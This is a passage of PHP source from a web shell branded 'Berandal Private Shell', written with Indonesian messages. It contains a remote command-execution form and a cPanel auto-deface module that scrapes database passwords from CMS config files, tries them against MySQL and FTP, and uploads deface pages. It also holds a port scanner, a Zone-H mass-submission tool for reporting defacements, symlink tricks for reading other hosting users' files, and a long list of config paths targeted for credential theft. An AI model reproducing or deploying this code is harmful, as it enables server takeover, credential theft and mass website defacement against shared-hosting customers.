break;case \'ur\' : $codi=convert_uuencode($text);
break;case \'str_rot13\' : $codi=str_rot13($text);
break;case \'sha1\' : $codi=sha1($text);
break;case \'strlen\' : $codi=strlen($text);
break;case \'xxx\' : $codi=strlen(bin2hex($text));
break;case \'bbb\' : $codi=htmlentities(utf8_decode($text));
break;case \'aaa\' : $codi=chr(bin2hex(substr($text)));
break;case \'www\' : $codi=chr($text);
break;case \'sss\' : $codi=htmlspecialchars($text);
break;case \'eee\' : $codi=addslashes($text);
break;case \'url\' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
break;default:break;}}
$submit = $_POST[\'crack\'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case \'base64\': $codi=base64_decode($text);
break;case \'str\' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case \'json\' : $codi=utf8_dencode(json_dencode($text));
break;case \'gzinflate\' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;case \'gzinflater\' : $codi=gzinflate(str_rot13(base64_decode($text)));
break;case \'gzinflatex\' : $codi=gzinflate(str_rot13(gzinflate(base64_decode($text))));
break;case \'gzinflatew\' : $codi=str_rot13(rawurldecode(convert_uudecode(gzinflate(str_rot13(base64_decode(convert_uudecode(gzinflate(rawurldecode(str_rot13(gzinflate(base64_decode($text))))))))))));
break;case \'gzinflates\' : $codi=gzinflate(base64_decode($text));
break;case \'str2\' : $codi=str_rot13(base64_decode($text));
break;case \'urlencode\' : $codi=rawurldecode($text);
break;case \'hexencode\' : $codi=quoted_printable_decode($text);
break;case \'ur\' : $codi=convert_uudecode($text);
break;case \'url\' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
break;default:break;}}
echo \'<textarea cols=80 rows=10 class="mybox" readonly>\'.$codi.\'</textarea></center><BR><BR>\';
}
elseif($_GET[\'666\'] == \'cmd\') {
echo "<div class=\'mybox\'>
<form method=\'post\'>
<font style=\'text-decoration: underline;\'>".$user."@".gethostbyname($_SERVER[\'HTTP_HOST\']).":~# </font>
<input type=\'text\' size=\'30\' height=\'10\' style=\'border:0; border-bottom: 1px solid #191919\' name=\'cmd\'><input type=\'submit\' style=\'border-color=white\'name=\'do_cmd\' class=\'kotak\' value=\'>>\'>
</form></div>";
if($_POST[\'do_cmd\']) {
echo "<pre>".exe($_POST[\'cmd\'])."</pre><br>";
echo "<hr color=\'white\'>";
}
}
elseif($_GET[\'666\'] == \'cpdepes\') {
if($_POST[\'crack\']) {
$usercp = explode("
", $_POST[\'user_cp\']);
$passcp = explode("
", $_POST[\'pass_cp\']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect(\'localhost\', $ucp, $pcp)) {
if($_SESSION[$ucp] && $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] = "1";
$_SESSION[$pcp] = "1";
if($ucp == \'\' || $pcp == \'\') {
//
} else {
echo "[+] username (<font color=red>$ucp</font>) password (<font color=red>$pcp</font>)<br>";
$ftp_conn = ftp_connect($ip);
$ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
if((!$ftp_login) || (!$ftp_conn)) {
echo "[+] <font color=red>Login Gagal</font><br><br>";
} else {
echo "[+] <font color=lime>Login Sukses</font><br>";
$fi = htmlspecialchars($_POST[\'file_deface\']);
$deface = ftp_put($ftp_conn, "public_html/$fi", $_POST[\'deface\'], FTP_BINARY);
if($deface) {
$i++;
echo "[+] <font color=lime>Deface Sukses</font><br>";
if(function_exists(\'posix_getpwuid\')) {
$domain_cp = file_get_contents("/etc/named.conf");
if($domain_cp == \'\') {
echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
foreach($domains_cp[1] as $dj) {
$user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_cp_url = $user_cp_url[\'name\'];
if($user_cp_url == $ucp) {
echo "[+] <a href=\'http://$dj/$fi\' target=\'_blank\'>http://$dj/$fi</a><br><br>";
break;
}
}
}
} else {
echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
}
} else {
echo "[-] <font color=red>Deface Gagal</font><br><br>";
}
}
echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>sukses deface ".$i." Cpanel by <font color=red>Berandal Private Shell</font>";
}
} else {
echo "<center class=\'mybox\'><h1>Cpanel Auto Deface</h1><hr color=\'white\'>
<form method=\'post\'>
Filename: <br>
<input type=\'text\' name=\'file_deface\' placeholder=\'index.php\' value=\'index.php\' style=\'width: 450px;\'><br>
Deface Page: <br>
<input type=\'text\' name=\'deface\' placeholder=\'http://127.0.0.1/filemu.php\' style=\'width: 450px;\'><br>
USER: <br>
<textarea style=\'width: 450px; height: 150px;\' name=\'user_cp\'>";
$_usercp = fopen("/etc/passwd","r");
while($getu = fgets($_usercp)) {
if($getu == \'\' || !$_usercp) {
echo "<font color=red>Can\'t read /etc/passwd</font>";
} else {
preg_match_all("/(.*?):x:/", $getu, $u);
foreach($u[1] as $user_cp) {
if(is_dir("/home/$user_cp/public_html")) {
echo "$user_cp
";
}
}
}
}
echo "</textarea><br>
PASS: <br>
<textarea style=\'width: 450px; height: 200px;\' name=\'pass_cp\'>";
function cp_pass($dir) {
$pass = "";
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
if(preg_match("/WordPress/", $ambil)) {
$pass .= ambilkata($ambil,"DB_PASSWORD\', \'","\'")."
";
} elseif(preg_match("/JConfig|joomla/", $ambil)) {
$pass .= ambilkata($ambil,"password = \'","\'")."
";
} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
$pass .= ambilkata($ambil,\'password = "\',\'"\')."
";
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
$pass .= ambilkata($ambil,"\'DB_PASSWORD\', \'","\'")."
";
} elseif(preg_match("/client/", $ambil)) {
preg_match("/password=(.*)/", $ambil, $pass1);
if(preg_match(\'/"/\', $pass1[1])) {
$pass1[1] = str_replace(\'"\', "", $pass1[1]);
$pass .= $pass1[1]."
";
}
} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
$pass .= ambilkata($ambil,"db_password = \'","\'")."
";
}
}
echo $pass;
}
$cp_pass = cp_pass($dir);
echo $cp_pass;
echo "</textarea><br>
<input type=\'submit\' name=\'crack\' style=\'width: 450px;\' value=\'SIKAT!\'>
</form>
<span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
}
}
elseif($_GET[\'666\'] == \'port\') {
echo \'<div style="text-align:left" class="mybox"><table><tr><h1>Port Scanner</h1><hr color="white"><td>\';
echo \'<div class="content">\';
echo \'<form action="" method="post">\';
if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){
$start = strip_tags($_POST[\'start\']);
$end = strip_tags($_POST[\'end\']);
$host = strip_tags($_POST[\'host\']);
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo \'Port \'.$i.\' is <font color=green>open</font><br>\';
}
flush();
}
} else {
echo \'<input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
<input type="hidden" name="c" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type="hidden" name="charset" value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
Host:        <input type="text" style="border:0;border-bottom:1px solid #292929; width:500px;" name="host" value="localhost"/><br /><br />
Port Start:  <input type="text" style="border:0;border-bottom:1px solid #292929; width:500px;" name="start" value="0"/><br /><br />
Port End:    <input type="text" style="border:0;border-bottom:1px solid #292929; width:500px;" name="end" value="5000"/><br /><br />
<input type="submit" style="width: 100px; height: 30px; border-color=white;margin:10px 2px 0 2px;" value="Scan Ports !" />
</form>\';
echo \'</div></table></td></div>\';
}
}
elseif($_GET[\'666\'] == \'zip\') {
echo "<div class=\'mybox\'>";
echo "<h1>Zip Menu</h1><hr color=\'white\'>";
function rmdir_recursive($dir) {
foreach(scandir($dir) as $file) {
if (\'.\' === $file || \'..\' === $file) continue;
if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
else unlink("$dir/$file");
}
rmdir($dir);
}
if($_FILES["zip_file"]["name"]) {
$filename = $_FILES["zip_file"]["name"];
$source = $_FILES["zip_file"]["tmp_name"];
$type = $_FILES["zip_file"]["type"];
$name = explode(".", $filename);
$accepted_types = array(\'application/zip\', \'application/x-zip-compressed\', \'multipart/x-zip\', \'application/x-compressed\');
foreach($accepted_types as $mime_type) {
if($mime_type == $type) {
$okay = true;
break;
}
}
$continue = strtolower($name[1]) == \'zip\' ? true : false;
if(!$continue) {
$message = "Itu Bukan Zip , , GOBLOK COK";
}
$path = dirname(__FILE__).\'/\';
$filenoext = basename ($filename, \'.zip\');
$filenoext = basename ($filenoext, \'.ZIP\');
$targetdir = $path . $filenoext;
$targetzip = $path . $filename;
if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
mkdir($targetdir, 0777);
if(move_uploaded_file($source, $targetzip)) {
$zip = new ZipArchive();
$x = $zip->open($targetzip);
if ($x === true) {
$zip->extractTo($targetdir);
$zip->close();
unlink($targetzip);
}
$message = "<b>Sukses Cok :)</b>";
} else {
$message = "<b>Error Jancok :(</b>";
}
}
echo \'<table style="width:100%" border="1">
<div class="mybox"><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
<label>Zip File : <input type="file" name="zip_file" /></label>
<input type="submit" class="kotak" name="submit" value="Upload And Unzip" />
</form><br><br></div>\';
if($message) echo "<p>$message</p>";
echo "<div class=\'mybox\'><h2>Zip Backup</h2>
<form action=\'\' method=\'post\'><font style=\'text-decoration: underline;\'>Folder:</font><br>
<input type=\'text\' name=\'dir\' value=\'$dir\' style=\'width: 450px;\' height=\'10\'><br><br>
<font style=\'text-decoration: underline;\'>Save To:</font><br>
<input type=\'text\' name=\'save\' value=\'$dir/berandal_backup.zip\' style=\'width: 450px;\' height=\'10\'><br><br>
<input type=\'submit\' name=\'backup\' class=\'kotak\' value=\'Back Up!\' style=\'width: 215px;\'></form><br><br></div>";
if($_POST[\'backup\']){
$save=$_POST[\'save\'];
function Zip($source, $destination)
{
if (extension_loaded(\'zip\') === true)
{
if (file_exists($source) === true)
{
$zip = new ZipArchive();
if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
{
$source = realpath($source);
if (is_dir($source) === true)
{
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
foreach ($files as $file)
{
$file = realpath($file);
if (is_dir($file) === true)
{
$zip->addEmptyDir(str_replace($source . \'/\', \'\', $file . \'/\'));
}
else if (is_file($file) === true)
{
$zip->addFromString(str_replace($source . \'/\', \'\', $file), file_get_contents($file));
}
}
}
else if (is_file($source) === true)
{
$zip->addFromString(basename($source), file_get_contents($source));
}
}
return $zip->close();
}
}
return false;
}
Zip($_POST[\'dir\'],$save);
echo "Selese , Save To <b>$save</b>";
}
echo "
<div class=\'mybox\'><h2>Unzip Manual</h2>
<form action=\'\' method=\'post\'><font style=\'text-decoration: underline;\'>Zip Location:</font><br>
<input type=\'text\' name=\'dir\' value=\'$dir/file.zip\' style=\'width: 450px;\' height=\'10\'><br><br>
<font style=\'text-decoration: underline;\'>Save To:</font><br>
<input type=\'text\' name=\'save\' value=\'$dir/berandal_unzip\' style=\'width: 450px;\' height=\'10\'><br><br>
<input type=\'submit\' name=\'extrak\' class=\'kotak\' value=\'Unzip!\' style=\'width: 215px;\'></form><br><br>
</div>";
if($_POST[\'extrak\']){
$save=$_POST[\'save\'];
$zip = new ZipArchive;
$res = $zip->open($_POST[\'dir\']);
if ($res === TRUE) {
$zip->extractTo($save);
$zip->close();
echo \'Succes , Location : <b>\'.$save.\'</b>\';
} else {
echo \'Gagal Cok :( Ntahlah !\';
}
}
echo \'</table>\';
echo "</div>";
;}
elseif($_GET[\'666\'] == \'metu\') {
echo \'<form action="?dir=$dir&do=metu" method="post">\';
unset($_SESSION[sha1($_SERVER[\'HTTP_HOST\'])]);
echo \'See ya! :P \';
}
elseif($_GET[\'666\'] == \'infosec\') {
echo \'<div class="mybox"><table><h1><u>Server security information</u></h1><td><div class=content>\';
function showSecParam($n, $v) {
$v = trim($v);
if($v) {
echo \'<span>\'.$n.\': </span>\';
if(strpos($v, "
") === false)
echo $v.\'<br>\';
else
echo \'<pre class=ml1>\'.$v.\'</pre>\';
}
}
showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\');
showSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
$temp=array();
if(function_exists(\'mysql_get_client_info\'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists(\'mssql_connect\'))
$temp[] = "MSSQL";
if(function_exists(\'pg_connect\'))
$temp[] = "PostgreSQL";
if(function_exists(\'oci_connect\'))
$temp[] = "Oracle";
showSecParam(\'Supported databases\', implode(\', \', $temp));
echo \'<br>\';
if( $GLOBALS[\'os\'] == \'nix\' ) {
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
$danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"etc\", \"shadow\")\'>[view]</a>":\'no\');
showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
if(!$GLOBALS[\'safe_mode\']) {
echo \'<br>\';
$temp=array();
foreach ($userful as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Userful\', implode(\', \',$temp));
$temp=array();
foreach ($danger as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Danger\', implode(\', \',$temp));
$temp=array();
foreach ($downloaders as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Downloaders\', implode(\', \',$temp));
echo \'<br/>\';
showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
showSecParam(\'HDD space\', ex(\'df -h\'));
showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));
}
} else {
showSecParam(\'OS Version\',ex(\'ver\'));
showSecParam(\'Account Settings\',ex(\'net accounts\'));
showSecParam(\'User Accounts\',ex(\'net user\'));
}
echo \'</div></th></table>\';
echo \'</div></th></table>\';
echo "</div>";
}
elseif($_GET[\'666\'] == \'zoneh\') {
if($_POST[\'submit\']) {
$domain = explode("
", $_POST[\'url\']);
$nick = $_POST[\'nick\'];
echo "Defacer Onhold: <a href=\'http://www.zone-h.org/archive/notifier=$nick/published=0\' target=\'_blank\'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
echo "Defacer Archive: <a href=\'http://www.zone-h.org/archive/notifier=$nick\' target=\'_blank\'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
function zoneh($url,$nick) {
$ch = curl_init("http://www.zone-h.com/notify/single");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
return curl_exec($ch);
curl_close($ch);
}
foreach($domain as $url) {
$zoneh = zoneh($url,$nick);
if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
echo "$url -> <font color=lime>OK</font><br>";
} else {
echo "$url -> <font color=red>ERROR</font><br>";
}
}
} else {
echo "<center class=\'mybox\'><form method=\'post\'>
<h1>Zone-H Mass Poster</h1><hr color=\'white\'><br>
<u>Defacer</u>: <br>
<input type=\'text\' style=\'border-color=white\' name=\'nick\' size=\'50\' value=\'Berandal\'><br>
<u>Domains</u>: <br>
<textarea style=\'width: 450px; height: 150px; border-color=white\' name=\'url\'></textarea><br>
<input type=\'submit\' class=\'kotak\' name=\'submit\' value=\'Submit\' style=\'width: 450px; border-color=white\'>
</form>";
}
echo "</center>";
}
elseif($_GET[\'666\'] == \'symlink\') {
$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("os_sym",0777);
@chdir("os_sym");
@exe("ln -s / root");
$file3 = \'Options Indexes FollowSymLinks
DirectoryIndex Berandal.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any\';
$fp3 = fopen(\'.htaccess\',\'w\');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<table align=center border=1 style=\'width:60%;border-color:#333333;\'>
<tr>
<td align=center><font size=2>S. No.</font></td>
<td align=center><font size=2>Domains</font></td>
<td align=center><font size=2>Users</font></td>
<td align=center><font size=2>Symlink</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
<td>".$user[\'name\']."</td>
<td><a href=\'$full/os_sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'><font class=txt>Symlink</font></a></td></tr>";
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file(\'/etc/passwd\');
if ($TEST){
@mkdir("os_sym",0777);
@chdir("os_sym");
exe("ln -s / root");
$file3 = \'Options Indexes FollowSymLinks
DirectoryIndex Berandal.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any\';
$fp3 = fopen(\'.htaccess\',\'w\');
$fw3 = fwrite($fp3,$file3);
@fclose($fp3);
echo "
<table align=center border=1><tr>
<td align=center><font size=3>S. No.</font></td>
<td align=center><font size=3>Users</font></td>
<td align=center><font size=3>Symlink</font></td></tr>";
$dcount = 1;
$file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
while(!feof($file)){
$s = fgets($file);
$matches = array();
$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=2>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=$full/os_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";
$dcount++;}fclose($file);
echo "</table>";}else{if($os != "Windows"){@mkdir("os_sym",0777);@chdir("os_sym");@exe("ln -s / root");$file3 = \'
Options Indexes FollowSymLinks
DirectoryIndex berandal.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
\';
$fp3 = fopen(\'.htaccess\',\'w\');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<div class=\'mybox\'><h1>Server Symlinker</h1><hr color=\'white\'>
<table align=center border=1><tr>
<td align=center><font size=3>ID</font></td>
<td align=center><font size=3>Users</font></td>
<td align=center><font size=3>Symlink</font></td></tr>";
$temp = "";$val1 = 0;$val2 = 1000;
for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
if ($uid)$temp .= join(\':\',$uid)."
";}
echo \'<br/>\';$temp = trim($temp);$file5 =
fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);$dcount = 1;$file =
fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file)){$s = fgets($file);$matches = array();
$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=2>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=$full/os_sym/root/home/" . $matches . "/public_html target=\'_blank\'>Symlink</a></td></tr>";
$dcount++;}
fclose($file);
echo "</table></div></center>";unlink("test.txt");
} else
echo "<center><font size=3>Gabisa buat Symlink, Jancok!</font></center>";
}
}
}
elseif($_GET[\'666\'] == \'config\') {
if($_POST){
$passwd = $_POST[\'passwd\'];
mkdir("os_config", 0777);
$isi_htc = "Options all
Require None
Satisfy Any";
$htc = fopen("os_config/.htaccess","w");
fwrite($htc, $isi_htc);
preg_match_all(\'/(.*?):x:/\', $passwd, $user_config);
foreach($user_config[1] as $user_os) {
$user_config_dir = "/home/$user_os/public_html/";
if(is_readable($user_config_dir)) {
$grab_config = array(
"/home/$user_os/.my.cnf" => "CPanel",
"/home/$user_os/.accesshash" => "WHM-accesshash",
"/home/$user_os/public_html/bw-configs/config.ini" => "BosWeb",
"/home/$user_os/public_html/config/koneksi.php" => "Lokomedia",
"/home/$user_os/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home/$user_os/public_html/clientarea/configuration.php" => "WHMCS",
"/home/$user_os/public_html/whmcs/configuration.php" => "WHMCS",
"/home/$user_os/public_html/forum/config.php" => "phpBB",
"/home/$user_os/public_html/sites/default/settings.php" => "Drupal",
"/home/$user_os/public_html/config/settings.inc.php" => "PrestaShop",
"/home/$user_os/public_html/app/etc/local.xml" => "Magento",
"/home/$user_os/public_html/admin/config.php" => "OpenCart",
"/home/$user_os/public_html/slconfig.php" => "Sitelok",
"/home/$user_os/public_html/application/config/database.php" => "Ellislab",
"/home/$user_os/public_html/whm/configuration.php" => "WHMCS",
"/home/$user_os/public_html/whmc/WHM/configuration.ph" => "WHMC",
"/home/$user_os/public_html/central/configuration.php" => "WHM Central",
"/home/$user_os/public_html/whm/WHMCS/configuration.php" => "WHMCS",
"/home/$user_os/public_html/whm/whmcs/configuration.php" => "WHMCS",
"/home/$user_os/public_html/submitticket.php" => "WHMCS",
"/home/$user_os/public_html/configuration.php" => "Joomla",
"/home/$user_os/public_html/Joomla/configuration.php" => "JoomlaJoomla",
"/home/$user_os/public_html/joomla/configuration.php" => "JoomlaJoomla",
"/home/$user_os/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
"/home/$user_os/public_html/Home/configuration.php" => "JoomlaHome",
"/home/$user_os/public_html/HOME/configuration.php" => "JoomlaHome",
"/home/$user_os/public_html/home/configuration.php" => "JoomlaHome",
"/home/$user_os/public_html/NEW/configuration.php" => "JoomlaNew",
"/home/$user_os/public_html/New/configuration.php" => "JoomlaNew",
"/home/$user_os/public_html/new/configuration.php" => "JoomlaNew",
"/home/$user_os/public_html/News/configuration.php" => "JoomlaNews",
"/home/$user_os/public_html/NEWS/configuration.php" => "JoomlaNews",
"/home/$user_os/public_html/news/configuration.php" => "JoomlaNews",
"/home/$user_os/public_html/Cms/configuration.php" => "JoomlaCms",
"/home/$user_os/public_html/CMS/configuration.php" => "JoomlaCms",
"/home/$user_os/public_html/cms/configuration.php" => "JoomlaCms",
"/home/$user_os/public_html/Main/configuration.php" => "JoomlaMain",
"/home/$user_os/public_html/MAIN/configuration.php" => "JoomlaMain",
"/home/$user_os/public_html/main/configuration.php" => "JoomlaMain",
"/home/$user_os/public_html/Blog/configuration.php" => "JoomlaBlog",
"/home/$user_os/public_html/BLOG/configuration.php" => "JoomlaBlog",
"/home/$user_os/public_html/blog/configuration.php" => "JoomlaBlog",
"/home/$user_os/public_html/Blogs/configuration.php" => "JoomlaBlogs",
"/home/$user_os/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
"/home/$user_os/public_html/blogs/configuration.php" => "JoomlaBlogs",
"/home/$user_os/public_html/beta/configuration.php" => "JoomlaBeta",
"/home/$user_os/public_html/Beta/configuration.php" => "JoomlaBeta",
"/home/$user_os/public_html/BETA/configuration.php" => "JoomlaBeta",
"/home/$user_os/public_html/PRESS/configuration.php" => "JoomlaPress",
"/home/$user_os/public_html/Press/configuration.php" => "JoomlaPress",
"/home/$user_os/public_html/press/configuration.php" => "JoomlaPress",
"/home/$user_os/public_html/Wp/configuration.php" => "JoomlaWp",
"/home/$user_os/public_html/wp/configuration.php" => "JoomlaWp",
"/home/$user_os/public_html/WP/configuration.php" => "JoomlaWP",
"/home/$user_os/public_html/portal/configuration.php" => "JoomlaPortal",
"/home/$user_os/public_html/PORTAL/configuration.php" => "JoomlaPortal",
"/home/$user_os/public_html/Portal/configuration.php" => "JoomlaPortal",
"/home/$user_os/public_html/wp-config.php" => "WordPress",
"/home/$user_os/public_html/wordpress/wp-config.php" => "WordPressWordpress",
"/home/$user_os/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
"/home/$user_os/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
"/home/$user_os/public_html/Home/wp-config.php" => "WordPressHome",
"/home/$user_os/public_html/HOME/wp-config.php" => "WordPressHome",
"/home/$user_os/public_html/home/wp-config.php" => "WordPressHome",
"/home/$user_os/public_html/NEW/wp-config.php" => "WordPressNew",
"/home/$user_os/public_html/New/wp-config.php" => "WordPressNew",
"/home/$user_os/public_html/new/wp-config.php" => "WordPressNew",
"/home/$user_os/public_html/News/wp-config.php" => "WordPressNews",
"/home/$user_os/public_html/NEWS/wp-config.php" => "WordPressNews",
"/home/$user_os/public_html/news/wp-config.php" => "WordPressNews",
"/home/$user_os/public_html/Cms/wp-config.php" => "WordPressCms",
"/home/$user_os/public_html/CMS/wp-config.php" => "WordPressCms",
"/home/$user_os/public_html/cms/wp-config.php" => "WordPressCms",
"/home/$user_os/public_html/Main/wp-config.php" => "WordPressMain",
"/home/$user_os/public_html/MAIN/wp-config.php" => "WordPressMain",
"/home/$user_os/public_html/main/wp-config.php" => "WordPressMain",
"/home/$user_os/public_html/Blog/wp-config.php" => "WordPressBlog",
"/home/$user_os/public_html/BLOG/wp-config.php" => "WordPressBlog",
"/home/$user_os/public_html/blog/wp-config.php" => "WordPressBlog",
"/home/$user_os/public_html/Blogs/wp-config.php" => "WordPressBlogs",
"/home/$user_os/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
"/home/$user_os/public_html/blogs/wp-config.php" => "WordPressBlogs",
"/home/$user_os/public_html/beta/wp-config.php" => "WordPressBeta",
"/home/$user_os/public_html/Beta/wp-config.php" => "WordPressBeta",
"/home/$user_os/public_html/BETA/wp-config.php" => "WordPressBeta",
"/home/$user_os/public_html/PRESS/wp-config.php" => "WordPressPress",
"/home/$user_os/public_html/Press/wp-config.php" => "WordPressPress",
"/home/$user_os/public_html/press/wp-config.php" => "WordPressPress",
"/home/$user_os/public_html/Wp/wp-config.php" => "WordPressWp",
"/home/$user_os/public_html/wp/wp-config.php" => "WordPressWp",
"/home/$user_os/public_html/WP/wp-config.php" => "WordPressWP",
"/home/$user_os/public_html/portal/wp-config.php" => "WordPressPortal",
"/home/$user_os/public_html/PORTAL/wp-config.php" => "WordPressPortal",
"/home/$user_os/public_html/Portal/wp-config.php" => "WordPressPortal",
"/home1/$user_os/.my.cnf" => "cpanel",
"/home1/$user_os/.accesshash" => "WHM-accesshash",
"/home1/$user_os/public_html/bw-configs/config.ini" => "BosWeb",
"/home1/$user_os/public_html/config/koneksi.php" => "Lokomedia",
"/home1/$user_os/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home1/$user_os/public_html/clientarea/configuration.php" => "WHMCS",
"/home1/$user_os/public_html/whmcs/configuration.php" => "WHMCS",
"/home1/$user_os/public_html/forum/config.php" => "phpBB",
"/home1/$user_os/public_html/sites/default/settings.php" => "Drupal",
"/home1/$user_os/public_html/config/settings.inc.php" => "PrestaShop",
"/home1/$user_os/public_html/app/etc/local.xml" => "Magento",
